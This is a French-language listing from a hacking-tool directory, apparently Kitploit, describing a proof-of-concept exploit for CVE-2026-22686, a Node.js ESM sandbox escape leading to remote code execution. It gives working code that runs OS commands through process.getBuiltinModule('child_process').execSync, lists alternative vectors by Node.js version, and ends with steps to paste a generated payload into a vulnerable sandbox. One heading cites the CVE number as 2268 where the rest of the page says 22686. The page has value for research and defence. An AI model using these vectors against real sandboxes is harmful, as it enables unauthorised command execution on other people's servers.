Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Preuve de concept d'exploitation pour CVE-2026-22686, démontrant l'exécution de code à distance dans les sandbox ESM de Node.js via process.getBuiltinModule pour contourner les restrictions de modules. | Kitploit
Outils/GitHubGitHub/moltengama/cve-2026-22686-remotecodeexecution-rce-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebDéveloppement de Charges Utiles
GitHubmoltengama/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Preuve de concept d'exploitation pour CVE-2026-22686, démontrant l'exécution de code à distance dans les sandbox ESM de Node.js via process.getBuiltinModule pour contourner les restrictions de modules.

Voir le dépôt
2il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

RCE dans les environnements ESM — Le problème de require

Lorsqu'on obtient une évasion de sandbox via CVE-2026-22686, exécuter des commandes OS dans un projet ESM ("type": "module") nécessite de contourner les restrictions de chargement de modules de Node.js. Les approches standard échouent pour les raisons suivantes :

VecteurRésultat
require('child_process')❌ require is not defined — non disponible en ESM
process.mainModule.require(...)❌ Cannot read properties of undefined — mainModule est undefined en ESM
import('child_process')❌ A dynamic import callback was not specified — nécessite un hook non configuré dans le sandbox
process.binding('spawn_sync')⚠️ Disponible mais trop bas niveau — nécessite une construction manuelle des appels système

Solution : Énumération des processus → process.getBuiltinModule

Au lieu de supposer une méthode de chargement de modules, nous énumérons directement les clés de process depuis le contexte hôte (déjà accessible après l'évasion du sandbox) :

root@kitploit:~
return Object.keys(process)

Parmi les clés retournées, getBuiltinModule a été identifié — une API native Node.js 22+ conçue spécifiquement pour permettre aux modules ESM d'accéder aux modules intégrés de Node.js sans require ni import().

root@kitploit:~
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root)  ✅ RCE confirmé

C'est l'idée clé : process.getBuiltinModule est une API relativement récente (Node.js >= 22.3.0) et est fréquemment négligée par les implémentations de sandbox et les règles WAF qui bloquent require et import.


Vecteurs alternatifs (selon la version de Node.js)

Selon l'environnement cible, d'autres vecteurs peuvent être disponibles après l'énumération de process :

VecteurVersion de Node.jsNotes
process.getBuiltinModule('child_process')>= 22.3.0✅ Le plus propre — API officielle compatible ESM
process.binding('spawn_sync')Toutes⚠️ Bas niveau, nécessite une construction manuelle des buffers
process.mainModule.require(...)CJS uniquement❌ Indéfini en ESM
__non_webpack_require__Bundles Webpack⚠️ Spécifique à l'environnement
Module.createRequire(import.meta.url)>= 12.2.0⚠️ Nécessite une référence Module depuis l'hôte
process._linkedBinding('node_os')Builds internes⚠️ Rarement exposé

À retenir : Énumérez toujours Object.keys(process) après avoir obtenu l'accès au contexte hôte. La surface d'attaque disponible varie considérablement selon la version de Node.js et la configuration du projet. getBuiltinModule est le vecteur le plus fiable dans les environnements ESM modernes de Node.js.

CVE-2026-2268-RemoteCodeExecution-RCE-PoC

Étapes :

  1. Insérez votre commande personnelle
  2. Collez le payload résultant généré dans votre interpréteur de sandbox js vulnérable
  3. Profitez des résultats
image
Télécharger l’outil